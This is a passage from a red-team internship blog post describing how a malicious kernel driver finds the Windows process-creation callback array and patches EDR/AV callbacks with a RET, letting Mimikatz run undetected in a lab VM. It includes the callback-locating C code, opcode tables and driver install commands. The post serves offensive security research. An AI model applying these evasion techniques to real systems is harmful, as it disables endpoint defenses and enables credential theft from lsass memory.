  2. Meanwhile the EDR/AV driver has implemented the PsSetCreateProcessNotifyRoutine() callback and assigned one of its functions (0xFA7F) to that callback.
  3. The kernel registers the EDR/AV driver function address (0xFA7F) in the callback array.
  4. The kernel receives the process creation callback from CreateProcessW() and sends a notification to all the registered drivers in the callback array.
  5. The EDR/AV driver receives the process creation notification and executes its assigned function (0xFA7F).
  6. The EDR/AV driver function (0xFA7F) instructs the EDR/AV application running in user land to inject into the User Application’s virtual address space and hook ntdll.dll to transfer execution to itself.
kernel callback

With EDR/AV products transitioning to kernel space, malware authors had to follow suit and bring their own kernel driver to get back on equal footing. The job of the malicious driver is fairly straight forward: eliminate the kernel callbacks to the EDR/AV driver. So how can this be achieved?

  1. An evil application in user space is aware we want to run Mimikatz.exe, a well known tool to extract plaintext passwords, hashes, PIN codes and Kerberos tickets from memory.
  2. The evil application instructs the evil driver to disable the EDR/AV product.
  3. The evil driver will first locate and read the callback array and then patch any entries belonging to EDR/AV drivers by replacing the first instruction in their callback function (0xFA7F) with a return RET (0xC3) instruction.
  4. Mimikatz.exe can now run and will call ReadProcessMemory(), which will trigger a callback.
  5. The kernel receives the callback and sends a notification to all the registered drivers in the callback array.
  6. The EDR/AV driver receives the process creation notification and executes its assigned function (0xFA7F).
  7. The EDR/AV driver function (0xFA7F) executes the RET (0xC3) instruction and immediately returns.
  8. Execution resumes with ReadProcessMemory(), which will call NtReadVirtualMemory(), which in turn will execute the syscall and transition into kernel mode to read the lsass.exe process memory.
patch kernel callback

4. Don’t reinvent the wheel

Armed with all this knowledge, I set out to put the theory into practice. I stumbled upon Windows Kernel Ps Callback Experiments by @fdiskyou which explains in depth how he wrote his own evil driver and evilcli user application to disable EDR/AV as explained above. To use the project you need Visual Studio 2019 and the latest Windows SDK and WDK.

I also set up two virtual machines configured for remote kernel debugging with WinDbg

  1. Windows 10 build 19042
  2. Windows 11 build 21996

With the following options enabled:

bcdedit /set TESTSIGNING ON
bcdedit /debug on
bcdedit /dbgsettings serial debugport:2 baudrate:115200
bcdedit /set hypervisorlaunchtype off

To compile and build the driver project, I had to make a few modifications. First the build target should be Debug – x64. Next I converted the current driver into a primitive driver by modifying the evil.inf file to meet the new requirements.

;
; evil.inf
;

[Version]
Signature="$WINDOWS NT$"
Class=System
ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318}
Provider=%ManufacturerName%
DriverVer=
CatalogFile=evil.cat
PnpLockDown=1

[DestinationDirs]
DefaultDestDir = 12


[SourceDisksNames]
1 = %DiskName%,,,""

[SourceDisksFiles]


[DefaultInstall.ntamd64]

[Standard.NT$ARCH$]


[Strings]
ManufacturerName="<Your manufacturer name>" ;TODO: Replace with your manufacturer name
ClassName=""
DiskName="evil Source Disk"

Once the driver compiled and got signed with a test certificate, I installed it on my Windows 10 VM with WinDbg remotely attached. To see kernel debug messages in WinDbg I updated the default mask to 8: kd> ed Kd_Default_Mask 8.

sc create evil type= kernel binPath= C:\Users\Cerbersec\Desktop\driver\evil.sys
sc start evil

evil driver
windbg evil driver

Using the evilcli.exe application with the -l flag, I can list all the registered callback routines from the callback array for process creation and thread creation. When I first tried this I immediately bluescreened with the message “Page Fault in Non-Paged Area”.

5. The mystery of 3 bytes

This BSOD message is telling me I’m trying to access non-committed memory, which is an immediate bugcheck. The reason this happened has to do with Windows versioning and the way we find the callback array in memory.

bsod

Locating the callback array in memory by hand is a trivial task and can be done with WinDbg or any other kernel debugger. First we disassemble the PsSetCreateProcessNotifyRoutine() function and look for the first CALL (0xE8) instruction.

PsSetCreateProcessNotifyRoutine

Next we disassemble the PspSetCreateProcessNotifyRoutine() function until we find a LEA (0x4C 0x8D 0x2D) (load effective address) instruction.

PspSetCreateProcessNotifyRoutine

Then we can inspect the memory address that LEA puts in the r13 register. This is the callback array in memory.

callback array

To view the different drivers in the callback array, we need to perform a logical AND operation with the address in the callback array and 0xFFFFFFFFFFFFFFF8.

logical and

The driver roughly follows the same method to locate the callback array in memory; by calculating offsets to the instructions we looked for manually, relative to the PsSetCreateProcessNotifyRoutine() function base address, which we obtain using the MmGetSystemRoutineAddress() function.

ULONG64 FindPspCreateProcessNotifyRoutine()
{
	LONG OffsetAddr = 0;
	ULONG64	i = 0;
	ULONG64 pCheckArea = 0;
	UNICODE_STRING unstrFunc;

	RtlInitUnicodeString(&unstrFunc, L"PsSetCreateProcessNotifyRoutine");
    //obtain the PsSetCreateProcessNotifyRoutine() function base address
	pCheckArea = (ULONG64)MmGetSystemRoutineAddress(&unstrFunc);
	KdPrint(("[+] PsSetCreateProcessNotifyRoutine is at address: %llx \n", pCheckArea));

    //loop though the base address + 20 bytes and search for the right OPCODE (instruction)
    //we're looking for 0xE8 OPCODE which is the CALL instruction
	for (i = pCheckArea; i < pCheckArea + 20; i++)
	{
		if ((*(PUCHAR)i == OPCODE_PSP[g_WindowsIndex]))
		{
			OffsetAddr = 0;

			//copy 4 bytes after CALL (0xE8) instruction, the 4 bytes contain the relative offset to the PspSetCreateProcessNotifyRoutine() function address
			memcpy(&OffsetAddr, (PUCHAR)(i + 1), 4);
			pCheckArea = pCheckArea + (i - pCheckArea) + OffsetAddr + 5;

			break;
		}
	}

	KdPrint(("[+] PspSetCreateProcessNotifyRoutine is at address: %llx \n", pCheckArea));
	
    //loop through the PspSetCreateProcessNotifyRoutine base address + 0xFF bytes and search for the right OPCODES (instructions)
    //we're looking for 0x4C 0x8D 0x2D OPCODES which is the LEA, r13 instruction
	for (i = pCheckArea; i < pCheckArea + 0xff; i++)
	{
		if (*(PUCHAR)i == OPCODE_LEA_R13_1[g_WindowsIndex] && *(PUCHAR)(i + 1) == OPCODE_LEA_R13_2[g_WindowsIndex] && *(PUCHAR)(i + 2) == OPCODE_LEA_R13_3[g_WindowsIndex])
		{
			OffsetAddr = 0;

            //copy 4 bytes after LEA, r13 (0x4C 0x8D 0x2D) instruction
			memcpy(&OffsetAddr, (PUCHAR)(i + 3), 4);
            //return the relative offset to the callback array
			return OffsetAddr + 7 + i;
		}
	}

	KdPrint(("[+] Returning from CreateProcessNotifyRoutine \n"));
	return 0;
}

The takeaways here are the OPCODE_*[g_WindowsIndex] constructions, where OPCODE_*[g_WindowsIndex] are defined as:

UCHAR OPCODE_PSP[]	 = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xe8, 0xe8, 0xe8, 0xe8, 0xe8 };
//process callbacks
UCHAR OPCODE_LEA_R13_1[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x4c, 0x4c, 0x4c, 0x4c, 0x4c };
UCHAR OPCODE_LEA_R13_2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d };
UCHAR OPCODE_LEA_R13_3[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d };
// thread callbacks
UCHAR OPCODE_LEA_RCX_1[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48 };
UCHAR OPCODE_LEA_RCX_2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d };
UCHAR OPCODE_LEA_RCX_3[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d };

And g_WindowsIndex acts as an index based on the Windows build number of the machine (osVersionInfo.dwBuildNumer).

To solve the mystery of the BSOD, I compared debug output with manual calculations and found out that my driver had been looking for the 0x00 OPCODE instead of the 0xE8 (CALL) OPCODE to obtain the base address of the PspSetCreateProcessNotifyRoutine() function. The first 0x00 OPCODE it finds is located at a 3 byte offset from the 0xE8 OPCODE, resulting in an invalid offset being copied by the memcpy() function.

After adjusting the OPCODE array and the function responsible for calculating the index from the Windows build number, the driver worked just fine.

list callback array

6. Driver vs Anti-Virus

To put the driver to the test, I installed it on my Windows 11 VM together with a reputable anti-virus product. After patching the AV driver callback routines in the callback array, mimikatz.exe was successfully executed.

When returning the AV driver callback routines back to their original state, mimikatz.exe was detected and blocked upon execution.

7. Conclusion

We started this first internship post by looking at User vs Kernel Space and how EDRs interact with them. Since the goal of the internship is to develop a kernel driver to hinder EDR/AV software on a target, we have then discussed the concept of kernel drivers and kernel callbacks and how they are used by security software. As a first practical example, we used evilcli, combined with some BSOD debugging to patch the kernel callbacks used by an AV product and have Mimikatz execute undetected.

About the authors

Sander (@cerbersec), the main author of this post, is a cyber security student with a passion for red teaming and malware development. He’s a two-time intern at NVISO and a future NVISO bird.

Jonas is NVISO’s red team lead and thus involved in all red team exercises, either from a project management perspective (non-technical), for the execution of fieldwork (technical), or a combination of both. You can find Jonas on LinkedIn.

❌
❌